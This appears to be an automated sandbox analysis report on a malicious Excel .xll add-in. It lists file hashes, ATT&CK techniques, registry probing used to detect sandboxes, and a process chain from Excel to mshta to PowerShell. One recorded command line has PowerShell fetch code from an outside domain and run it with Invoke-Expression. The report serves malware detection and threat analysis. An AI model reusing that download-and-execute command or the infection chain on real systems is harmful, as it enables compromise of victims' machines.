8405485f0e444b4788b3485d56eb1d7a79afcf6f5896268b4c26b3ba070c913e

General

Target

8405485f0e444b4788b3485d56eb1d7a79afcf6f5896268b4c26b3ba070c913e.xll
Size

12KB
MD5

5782bce05a477af3d8504a4ea8854f54
SHA1

2d795f303173b858063166709fd5852c7cf3499b
SHA256

8405485f0e444b4788b3485d56eb1d7a79afcf6f5896268b4c26b3ba070c913e
SHA512

3715862c3e61d1502b5b0a524e1a15c7c0acc15c0db392c5b312bd6f7a8951197c2c3c3ae0bc082fffdb5080a4184a8732742e1bdab63140ccf9cc00e2008eb9
SSDEEP

192:ZL29RBzDzeobchBj8JONiONgruCrEPEjr7Ahx:529jnbcvYJODiuCvr7Cx

Score

10^/10

execution

Malware Config

Extracted

Language

xlm4.0

Source

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3956	3784	mshta.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

15 4116 powershell.exe
Loads dropped DLL 2 IoCs

Processes:

EXCEL.EXE

pid process

3784 EXCEL.EXE
3784 EXCEL.EXE
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4116 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

flow	pid	process
15	4116	powershell.exe

pid	process
3784	EXCEL.EXE
3784	EXCEL.EXE

pid	process
4116	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3784 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

4116 powershell.exe
4116 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 4116 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

3784 EXCEL.EXE
3784 EXCEL.EXE
Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

3784 EXCEL.EXE
3784 EXCEL.EXE
3784 EXCEL.EXE
3784 EXCEL.EXE
3784 EXCEL.EXE
3784 EXCEL.EXE
3784 EXCEL.EXE
3784 EXCEL.EXE
3784 EXCEL.EXE
3784 EXCEL.EXE

pid	process
3784	EXCEL.EXE

pid	process
4116	powershell.exe
4116	powershell.exe

description	pid	process
Token: SeDebugPrivilege	4116	powershell.exe

pid	process
3784	EXCEL.EXE
3784	EXCEL.EXE

pid	process
3784	EXCEL.EXE
3784	EXCEL.EXE
3784	EXCEL.EXE
3784	EXCEL.EXE
3784	EXCEL.EXE
3784	EXCEL.EXE
3784	EXCEL.EXE
3784	EXCEL.EXE
3784	EXCEL.EXE
3784	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

EXCEL.EXEmshta.exe

description	pid	process	target process
PID 3784 wrote to memory of 3956	3784	EXCEL.EXE	mshta.exe
PID 3784 wrote to memory of 3956	3784	EXCEL.EXE	mshta.exe
PID 3784 wrote to memory of 3956	3784	EXCEL.EXE	mshta.exe
PID 3956 wrote to memory of 4116	3956	mshta.exe	powershell.exe
PID 3956 wrote to memory of 4116	3956	mshta.exe	powershell.exe
PID 3956 wrote to memory of 4116	3956	mshta.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8405485f0e444b4788b3485d56eb1d7a79afcf6f5896268b4c26b3ba070c913e.xll"
1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3784

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3956

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')
3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4116

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR1DMZ2N\d[1].htm
Filesize
2KB

MD5
f754844cfb65838d1dd6b19dde5d835c

SHA1
b3eb677783adc88c8d048898449e04d49f416db6

SHA256
3644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6

SHA512
f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf

Download Submit
C:\Users\Admin\AppData\Local\Temp\8405485f0e444b4788b3485d56eb1d7a79afcf6f5896268b4c26b3ba070c913e.xll
Filesize
12KB

MD5
5782bce05a477af3d8504a4ea8854f54

SHA1
2d795f303173b858063166709fd5852c7cf3499b

SHA256
8405485f0e444b4788b3485d56eb1d7a79afcf6f5896268b4c26b3ba070c913e

SHA512
3715862c3e61d1502b5b0a524e1a15c7c0acc15c0db392c5b312bd6f7a8951197c2c3c3ae0bc082fffdb5080a4184a8732742e1bdab63140ccf9cc00e2008eb9

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v1ybjnzk.c5v.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3784-10-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-11-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-23-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-6-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-7-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-8-0x00007FF973510000-0x00007FF973520000-memory.dmp

Filesize
64KB

Download
memory/3784-9-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-25-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-0-0x00007FF975730000-0x00007FF975740000-memory.dmp

Filesize
64KB

Download
memory/3784-13-0x00007FF973510000-0x00007FF973520000-memory.dmp

Filesize
64KB

Download
memory/3784-15-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-16-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-24-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-12-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-17-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-19-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-20-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-18-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-22-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-21-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-14-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-5-0x00007FF9B5743000-0x00007FF9B5744000-memory.dmp

Filesize
4KB

Download
memory/3784-3-0x00007FF975730000-0x00007FF975740000-memory.dmp

Filesize
64KB

Download
memory/3784-4-0x00007FF975730000-0x00007FF975740000-memory.dmp

Filesize
64KB

Download
memory/3784-2-0x00007FF975730000-0x00007FF975740000-memory.dmp

Filesize
64KB

Download
memory/3784-91-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/3784-89-0x00007FF975730000-0x00007FF975740000-memory.dmp

Filesize
64KB

Download
memory/3784-90-0x00007FF975730000-0x00007FF975740000-memory.dmp

Filesize
64KB

Download
memory/3784-88-0x00007FF975730000-0x00007FF975740000-memory.dmp

Filesize
64KB

Download
memory/3784-87-0x00007FF975730000-0x00007FF975740000-memory.dmp

Filesize
64KB

Download
memory/3784-1-0x00007FF975730000-0x00007FF975740000-memory.dmp

Filesize
64KB

Download
memory/3784-71-0x00007FF9B56A0000-0x00007FF9B58A9000-memory.dmp

Filesize
2.0MB

Download
memory/4116-61-0x0000000006770000-0x000000000678E000-memory.dmp

Filesize
120KB

Download
memory/4116-62-0x00000000067B0000-0x00000000067FC000-memory.dmp

Filesize
304KB

Download
memory/4116-63-0x0000000007DC0000-0x000000000843A000-memory.dmp

Filesize
6.5MB

Download
memory/4116-64-0x0000000006CA0000-0x0000000006CBA000-memory.dmp

Filesize
104KB

Download
memory/4116-60-0x0000000006390000-0x00000000066E7000-memory.dmp

Filesize
3.3MB

Download
memory/4116-53-0x00000000062A0000-0x0000000006306000-memory.dmp

Filesize
408KB

Download
memory/4116-50-0x0000000006230000-0x0000000006296000-memory.dmp

Filesize
408KB

Download
memory/4116-49-0x0000000005900000-0x0000000005922000-memory.dmp

Filesize
136KB

Download
memory/4116-48-0x0000000005B00000-0x000000000612A000-memory.dmp

Filesize
6.2MB

Download
memory/4116-47-0x00000000032D0000-0x0000000003306000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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Downloads